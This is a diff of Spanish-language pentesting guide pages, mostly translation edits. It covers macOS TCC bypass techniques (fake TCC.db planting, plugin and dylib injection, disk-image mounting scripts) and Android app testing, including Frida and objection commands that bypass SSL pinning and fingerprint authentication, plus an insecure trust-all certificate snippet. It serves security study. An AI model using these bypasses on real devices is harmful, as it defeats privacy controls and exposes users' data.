Más info en [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
|
||||
Más información en [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Ahora, si intentas usar la variable de entorno `MTL_DUMP_PIPELINES_TO_JSON_FILE`, las aplicaciones no se lanzarán
|
||||
> Ahora, si intentas usar la variable de entorno `MTL_DUMP_PIPELINES_TO_JSON_FILE`, las aplicaciones no se lanzarán.
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
||||
@ -228,16 +228,16 @@ Por lo tanto, si el usuario logra reiniciar TCC con una variable de entorno $HOM
|
||||
> [!TIP]
|
||||
> Ten en cuenta que Apple utiliza la configuración almacenada dentro del perfil del usuario en el atributo **`NFSHomeDirectory`** para el **valor de `$HOME`**, así que si comprometes una aplicación con permisos para modificar este valor (**`kTCCServiceSystemPolicySysAdminFiles`**), puedes **armar** esta opción con un bypass de TCC.
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
### [CVE-2020–9934 - TCC](#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
||||
### [CVE-2020-27937 - Directory Utility](./#cve-2020-27937-directory-utility-1)
|
||||
### [CVE-2020-27937 - Directory Utility](#cve-2020-27937-directory-utility-1)
|
||||
|
||||
### CVE-2021-30970 - Powerdir
|
||||
|
||||
El **primer POC** utiliza [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) y [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) para modificar la **carpeta HOME** del usuario.
|
||||
|
||||
1. Obtener un blob _csreq_ para la aplicación objetivo.
|
||||
2. Plantar un archivo _TCC.db_ falso con acceso requerido y el blob _csreq_.
|
||||
2. Plantar un archivo _TCC.db_ falso con el acceso requerido y el blob _csreq_.
|
||||
3. Exportar la entrada de Servicios de Directorio del usuario con [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Modificar la entrada de Servicios de Directorio para cambiar el directorio home del usuario.
|
||||
5. Importar la entrada de Servicios de Directorio modificada con [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
@ -263,13 +263,13 @@ Los plugins son código extra, generalmente en forma de bibliotecas o plist, que
|
||||
|
||||
La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el derecho **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el** runtime endurecido.
|
||||
|
||||
Para armar este CVE, el **`NFSHomeDirectory`** es **cambiado** (abusando del derecho anterior) para poder **tomar el control de la base de datos TCC del usuario** y eludir TCC.
|
||||
Para armar este CVE, el **`NFSHomeDirectory`** es **cambiado** (abusando del derecho anterior) para poder **apoderarse de la base de datos TCC del usuario** y eludir TCC.
|
||||
|
||||
Para más información, consulta el [**informe original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
El binario **`/usr/sbin/coreaudiod`** tenía los derechos `com.apple.security.cs.disable-library-validation` y `com.apple.private.tcc.manager`. El primero **permitiendo la inyección de código** y el segundo otorgándole acceso para **gestionar TCC**.
|
||||
El binario **`/usr/sbin/coreaudiod`** tenía los derechos `com.apple.security.cs.disable-library-validation` y `com.apple.private.tcc.manager`. El primero **permitiendo inyección de código** y el segundo otorgándole acceso para **gestionar TCC**.
|
||||
|
||||
Este binario permitía cargar **plugins de terceros** desde la carpeta `/Library/Audio/Plug-Ins/HAL`. Por lo tanto, era posible **cargar un plugin y abusar de los permisos TCC** con este PoC:
|
||||
```objectivec
|
||||
@ -302,7 +302,7 @@ Para más información, consulta el [**informe original**](https://wojciechregul
|
||||
|
||||
### Complementos de Capa de Abstracción de Dispositivo (DAL)
|
||||
|
||||
Las aplicaciones del sistema que abren el flujo de la cámara a través de Core Media I/O (aplicaciones con **`kTCCServiceCamera`**) cargan **en el proceso estos complementos** ubicados en `/Library/CoreMediaIO/Plug-Ins/DAL` (no restringido por SIP).
|
||||
Las aplicaciones del sistema que abren el flujo de cámara a través de Core Media I/O (aplicaciones con **`kTCCServiceCamera`**) cargan **en el proceso estos complementos** ubicados en `/Library/CoreMediaIO/Plug-Ins/DAL` (no restringido por SIP).
|
||||
|
||||
Simplemente almacenar allí una biblioteca con el **constructor** común funcionará para **inyectar código**.
|
||||
|
||||
@ -346,7 +346,7 @@ El binario `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tenía los
|
||||
|
||||
Telegram tenía los derechos **`com.apple.security.cs.allow-dyld-environment-variables`** y **`com.apple.security.cs.disable-library-validation`**, por lo que era posible abusar de ello para **obtener acceso a sus permisos** como grabar con la cámara. Puedes [**encontrar la carga útil en el informe**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Nota cómo usar la variable env para cargar una biblioteca, se creó un **plist personalizado** para inyectar esta biblioteca y se usó **`launchctl`** para lanzarla:
|
||||
Nota cómo usar la variable de entorno para cargar una biblioteca, se creó un **plist personalizado** para inyectar esta biblioteca y se utilizó **`launchctl`** para lanzarla:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -382,7 +382,7 @@ Es posible invocar **`open`** incluso mientras está en sandbox
|
||||
|
||||
### Scripts de Terminal
|
||||
|
||||
Es bastante común otorgar **Acceso Completo al Disco (FDA)**, al menos en computadoras utilizadas por personas técnicas. Y es posible invocar scripts **`.terminal`** con ello.
|
||||
Es bastante común dar acceso completo al disco (**Full Disk Access (FDA)**), al menos en computadoras utilizadas por personas técnicas. Y es posible invocar scripts **`.terminal`** con ello.
|
||||
|
||||
Los scripts **`.terminal`** son archivos plist como este con el comando a ejecutar en la clave **`CommandString`**:
|
||||
```xml
|
||||
@ -463,7 +463,7 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
|
||||
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
||||
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
```
|
||||
Revisa el **explotación completa** en el [**escrito original**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
||||
Verifica el **explotación completa** en el [**escrito original**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
||||
|
||||
### CVE-2024-40855
|
||||
|
||||
@ -494,9 +494,9 @@ En varias ocasiones, los archivos almacenarán información sensible como correo
|
||||
|
||||
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Clics sintéticos
|
||||
## Clicks sintéticos
|
||||
|
||||
Esto ya no funciona, pero [**funcionó en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
Esto ya no funciona, pero [**sí funcionó en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Esta es la herramienta principal que necesitas para conectarte a un dispositivo android (emulado o físico).\
|
||||
Esta es la herramienta principal que necesitas para conectarte a un dispositivo Android (emulado o físico).\
|
||||
**ADB** permite controlar dispositivos ya sea a través de **USB** o **Red** desde una computadora. Esta utilidad habilita la **copia** de archivos en ambas direcciones, **instalación** y **desinstalación** de aplicaciones, **ejecución** de comandos de shell, **respaldo** de datos, **lectura** de registros, entre otras funciones.
|
||||
|
||||
Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para aprender a usar adb.
|
||||
@ -20,7 +20,7 @@ Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para
|
||||
## Smali
|
||||
|
||||
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas o flags bien ofuscados). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.\
|
||||
[**En este tutorial** puedes **aprender a descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en cuenta esta posibilidad**.
|
||||
[**En este tutorial** puedes **aprender a descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en mente esta posibilidad**.
|
||||
|
||||
## Otros trucos interesantes
|
||||
|
||||
@ -47,12 +47,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Análisis Estático
|
||||
|
||||
Primero que nada, para analizar un APK deberías **echar un vistazo al código Java** usando un decompilador.\
|
||||
Por favor, [**lee aquí para encontrar información sobre diferentes decompiladores disponibles**](apk-decompilers.md).
|
||||
Primero que nada, para analizar un APK deberías **echar un vistazo al código Java** usando un descompilador.\
|
||||
Por favor, [**lee aquí para encontrar información sobre diferentes descompiladores disponibles**](apk-decompilers.md).
|
||||
|
||||
### Buscando información interesante
|
||||
|
||||
Solo echando un vistazo a las **cadenas** del APK puedes buscar **contraseñas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **claves** **api**, **cifrado**, **uuids de bluetooth**, **tokens** y cualquier cosa interesante... busca incluso **puertas traseras** de ejecución de código o puertas traseras de autenticación (credenciales de administrador codificadas en la aplicación).
|
||||
Solo echando un vistazo a las **cadenas** del APK puedes buscar **contraseñas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **claves** **API**, **cifrado**, **UUIDs de bluetooth**, **tokens** y cualquier cosa interesante... busca incluso **puertas traseras** de ejecución de código o puertas traseras de autenticación (credenciales de administrador codificadas en la aplicación).
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -60,7 +60,7 @@ Presta especial atención a las **URLs de firebase** y verifica si está mal con
|
||||
|
||||
### Comprensión básica de la aplicación - Manifest.xml, strings.xml
|
||||
|
||||
La **examinación de los archivos \_Manifest.xml**_\*\* y \*\*_**strings.xml**\_\*\* de una aplicación puede revelar vulnerabilidades de seguridad potenciales\*\*. Estos archivos se pueden acceder usando decompiladores o renombrando la extensión del archivo APK a .zip y luego descomprimiéndolo.
|
||||
La **examinación de los archivos \_Manifest.xml**_\*\* y \*\*_**strings.xml**\_\*\* de una aplicación puede revelar posibles vulnerabilidades de seguridad\*\*. Estos archivos se pueden acceder usando descompiladores o renombrando la extensión del archivo APK a .zip y luego descomprimiéndolo.
|
||||
|
||||
**Vulnerabilidades** identificadas en el **Manifest.xml** incluyen:
|
||||
|
||||
@ -76,7 +76,7 @@ Del archivo **strings.xml**, se puede descubrir información sensible como clave
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oculta visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\
|
||||
**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona sobre una aplicación víctima**. Una vez que oculta visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\
|
||||
En efecto, está **cegando al usuario para que no sepa que realmente está realizando acciones en la aplicación víctima**.
|
||||
|
||||
Encuentra más información en:
|
||||
@ -122,7 +122,7 @@ Al tratar con archivos en **almacenamiento externo**, como tarjetas SD, se deben
|
||||
|
||||
El almacenamiento externo puede ser **accedido** en `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!NOTA]
|
||||
> [!NOTE]
|
||||
> A partir de Android 4.4 (**API 17**), la tarjeta SD tiene una estructura de directorio que **limita el acceso de una aplicación al directorio que es específicamente para esa aplicación**. Esto previene que aplicaciones maliciosas obtengan acceso de lectura o escritura a los archivos de otra aplicación.
|
||||
|
||||
**Datos sensibles almacenados en texto claro**
|
||||
@ -139,11 +139,11 @@ Por alguna razón, a veces los desarrolladores aceptan todos los certificados in
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Una buena manera de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar el Burp CA dentro del dispositivo. Además, puedes generar con Burp un certificado para un nombre de host diferente y usarlo.
|
||||
Una buena manera de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar el CA de Burp dentro del dispositivo. Además, puedes generar con Burp un certificado para un nombre de host diferente y usarlo.
|
||||
|
||||
### Criptografía Rota
|
||||
|
||||
**Procesos de Gestión de Claves Pobres**
|
||||
**Pobres Procesos de Gestión de Claves**
|
||||
|
||||
Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los encriptan con una clave codificada/predictible en el código. Esto no debería hacerse, ya que alguna ingeniería inversa podría permitir a los atacantes extraer la información confidencial.
|
||||
|
||||
@ -161,7 +161,7 @@ Los desarrolladores no deberían usar **algoritmos obsoletos** para realizar **v
|
||||
|
||||
### Aplicación React Native
|
||||
|
||||
Lee la siguiente página para aprender cómo acceder fácilmente al código javascript de las aplicaciones React:
|
||||
Lee la siguiente página para aprender cómo acceder fácilmente al código javascript de aplicaciones React:
|
||||
|
||||
{{#ref}}
|
||||
react-native-application.md
|
||||
@ -169,7 +169,7 @@ react-native-application.md
|
||||
|
||||
### Aplicaciones Xamarin
|
||||
|
||||
Lee la siguiente página para aprender cómo acceder fácilmente al código C# de una aplicación xamarin:
|
||||
Lee la siguiente página para aprender cómo acceder fácilmente al código C# de aplicaciones xamarin:
|
||||
|
||||
{{#ref}}
|
||||
../xamarin-apps.md
|
||||
@ -177,11 +177,11 @@ Lee la siguiente página para aprender cómo acceder fácilmente al código C# d
|
||||
|
||||
### Aplicaciones Superempaquetadas
|
||||
|
||||
Según este [**blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superempaquetado es un algoritmo Meta que comprime el contenido de una aplicación en un solo archivo. El blog habla sobre la posibilidad de crear una aplicación que descomprima este tipo de aplicaciones... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos del sistema de archivos.**
|
||||
Según este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superempaquetado es un algoritmo Meta que comprime el contenido de una aplicación en un solo archivo. El blog habla sobre la posibilidad de crear una aplicación que descomprima este tipo de aplicaciones... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos del sistema de archivos.**
|
||||
|
||||
### Análisis Estático Automatizado de Código
|
||||
|
||||
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** al **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad.
|
||||
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad.
|
||||
|
||||
Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**.
|
||||
|
||||
@ -214,7 +214,7 @@ content-protocol.md
|
||||
|
||||
## Análisis Dinámico
|
||||
|
||||
> Primero que nada, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (certificado Burp CA, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooteado (emulado o no).
|
||||
> Primero que nada, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (certificado CA de Burp, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooteado (emulado o no).
|
||||
|
||||
### Análisis dinámico en línea
|
||||
|
||||
@ -243,7 +243,7 @@ avd-android-virtual-device.md
|
||||
> [!NOTE]
|
||||
> Al crear un nuevo emulador en cualquier plataforma, recuerda que cuanto más grande sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible.
|
||||
|
||||
Para **instalar servicios de google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen:
|
||||
Para **instalar servicios de Google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -295,7 +295,7 @@ Si la base de datos está guardando información confidencial y está **encripta
|
||||
|
||||
Enumera las tablas usando `.tables` y enumera las columnas de las tablas haciendo `.schema <table_name>`.
|
||||
|
||||
### Drozer (Explotar Actividades, Proveedores de Contenido y Servicios)
|
||||
### Drozer (Explotar Actividades Exportadas, Proveedores de Contenido y Servicios)
|
||||
|
||||
Desde [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** te permite **asumir el rol de una aplicación Android** e interactuar con otras aplicaciones. Puede hacer **cualquier cosa que una aplicación instalada puede hacer**, como hacer uso del mecanismo de Comunicación entre Procesos (IPC) de Android e interactuar con el sistema operativo subyacente.\
|
||||
Drozer es una herramienta útil para **explotar actividades exportadas, servicios exportados y Proveedores de Contenido** como aprenderás en las siguientes secciones.
|
||||
@ -309,19 +309,19 @@ También recuerda que el código de una actividad comienza en el **método `onCr
|
||||
|
||||
Cuando una Actividad es exportada, puedes invocar su pantalla desde una aplicación externa. Por lo tanto, si una actividad con **información sensible** está **exportada**, podrías **eludir** los mecanismos de **autenticación** **para acceder a ella.**
|
||||
|
||||
[**Aprende cómo explotar actividades exportadas con Drozer.**](drozer-tutorial/#activities)
|
||||
[**Aprende cómo explotar actividades exportadas con Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
También puedes iniciar una actividad exportada desde adb:
|
||||
|
||||
- PackageName es com.example.demo
|
||||
- Exported ActivityName es com.example.test.MainActivity
|
||||
- El nombre del paquete es com.example.demo
|
||||
- El nombre de la actividad exportada es com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una actividad, pero debido a [esto](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (versiones de API < 21).
|
||||
|
||||
> [!NOTA]
|
||||
> Ten en cuenta que un bypass de autorización no siempre es una vulnerabilidad, dependerá de cómo funcione el bypass y qué información esté expuesta.
|
||||
> [!NOTE]
|
||||
> Ten en cuenta que un bypass de autorización no siempre es una vulnerabilidad, dependería de cómo funciona el bypass y qué información se expone.
|
||||
|
||||
**Filtración de información sensible**
|
||||
|
||||
@ -329,14 +329,14 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Si el tapjacking no se previene, podrías abusar de la actividad exportada para hacer que el **usuario realice acciones inesperadas**. Para más información sobre [**qué es Tapjacking sigue el enlace**](./#tapjacking).
|
||||
Si el tapjacking no se previene, podrías abusar de la actividad exportada para hacer que el **usuario realice acciones inesperadas**. Para más información sobre [**qué es Tapjacking sigue el enlace**](#tapjacking).
|
||||
|
||||
### Explotando Content Providers - Accediendo y manipulando información sensible
|
||||
|
||||
[**Lee esto si quieres refrescar qué es un Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Los content providers se utilizan básicamente para **compartir datos**. Si una aplicación tiene content providers disponibles, es posible que puedas **extraer datos sensibles** de ellos. También es interesante probar posibles **inyecciones SQL** y **Path Traversals** ya que podrían ser vulnerables.
|
||||
|
||||
[**Aprende cómo explotar Content Providers con Drozer.**](drozer-tutorial/#content-providers)
|
||||
[**Aprende cómo explotar Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Explotando Servicios**
|
||||
|
||||
@ -344,7 +344,7 @@ Los content providers se utilizan básicamente para **compartir datos**. Si una
|
||||
Recuerda que las acciones de un Servicio comienzan en el método `onStartCommand`.
|
||||
|
||||
Un servicio es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Entonces, si una aplicación está exportando algunos servicios, deberías **verificar** el **código** para entender qué está haciendo y **probarlo** **dinámicamente** para extraer información confidencial, eludir medidas de autenticación...\
|
||||
[**Aprende cómo explotar Servicios con Drozer.**](drozer-tutorial/#services)
|
||||
[**Aprende cómo explotar Servicios con Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Explotando Broadcast Receivers**
|
||||
|
||||
@ -352,7 +352,7 @@ Un servicio es básicamente algo que **puede recibir datos**, **procesarlos** y
|
||||
Recuerda que las acciones de un Broadcast Receiver comienzan en el método `onReceive`.
|
||||
|
||||
Un broadcast receiver estará esperando un tipo de mensaje. Dependiendo de cómo el receptor maneje el mensaje, podría ser vulnerable.\
|
||||
[**Aprende cómo explotar Broadcast Receivers con Drozer.**](./#exploiting-broadcast-receivers)
|
||||
[**Aprende cómo explotar Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Explotando Schemes / Deep links**
|
||||
|
||||
@ -390,8 +390,8 @@ Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sob
|
||||
### Inspección y fallos de verificación de la capa de transporte
|
||||
|
||||
- **Los certificados no siempre son inspeccionados adecuadamente** por las aplicaciones de Android. Es común que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP.
|
||||
- **Las negociaciones durante el apretón de manos SSL/TLS a veces son débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos.
|
||||
- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles del usuario, de la interceptación por entidades maliciosas.
|
||||
- **Las negociaciones durante el apretón de manos SSL/TLS son a veces débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos.
|
||||
- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles de usuario, de la interceptación por entidades maliciosas.
|
||||
|
||||
#### Verificación de certificados
|
||||
|
||||
@ -403,15 +403,15 @@ SSL Pinning es una medida de seguridad donde la aplicación verifica el certific
|
||||
|
||||
#### Inspección de tráfico
|
||||
|
||||
Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través de la proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar el tráfico cifrado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA de la proxy. Este paso es crítico para inspeccionar el tráfico cifrado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Bypass de SSL Pinning
|
||||
|
||||
Cuando se implementa SSL Pinning, es necesario eludirlo para inspeccionar el tráfico HTTPS. Existen varios métodos disponibles para este propósito:
|
||||
|
||||
- Modificar automáticamente el **apk** para **eludir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mejor ventaja de esta opción es que no necesitarás root para eludir el SSL Pinning, pero necesitarás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará.
|
||||
- Modificar **automáticamente** el **apk** para **eludir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mejor ventaja de esta opción es que no necesitarás root para eludir el SSL Pinning, pero deberás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará.
|
||||
- Podrías usar **Frida** (discutido a continuación) para eludir esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- También puedes intentar **eludir automáticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- También puedes intentar **eludir automáticamente SSL Pinning** usando **análisis dinámico de MobSF** (explicado a continuación)
|
||||
@ -429,13 +429,13 @@ Si deseas hacer pentesting en aplicaciones Android, necesitas saber cómo usar F
|
||||
|
||||
- Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/)
|
||||
- Algunas "GUI" para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection es genial para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ojection es excelente para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Puedes encontrar algunos scripts de Frida geniales aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Intenta eludir mecanismos de anti-debugging / anti-frida cargando Frida como se indica en [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (herramienta [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Volcar memoria - Fridump**
|
||||
|
||||
Verifica si la aplicación está almacenando información sensible en la memoria que no debería estar almacenando, como contraseñas o mnemotécnicas.
|
||||
Verifica si la aplicación está almacenando información sensible en la memoria que no debería estar almacenando, como contraseñas o mnemotécnicos.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puedes volcar la memoria de la app con:
|
||||
```bash
|
||||
@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Datos sensibles en Keystore**
|
||||
|
||||
En Android, el Keystore es el mejor lugar para almacenar datos sensibles, sin embargo, con suficientes privilegios todavía es **posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría ser capaz de robar estos datos.
|
||||
En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, **es posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría ser capaz de robar estos datos.
|
||||
|
||||
Incluso si una aplicación almacena datos en el keystore, los datos deben estar cifrados.
|
||||
|
||||
@ -460,7 +460,7 @@ Para acceder a los datos dentro del keystore, podrías usar este script de Frida
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Bypass de huellas dactilares/Biométricos**
|
||||
### **Bypass de Huellas Dactilares/Biométricos**
|
||||
|
||||
Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huella dactilar** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:**
|
||||
```bash
|
||||
@ -468,7 +468,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Imágenes de Fondo**
|
||||
|
||||
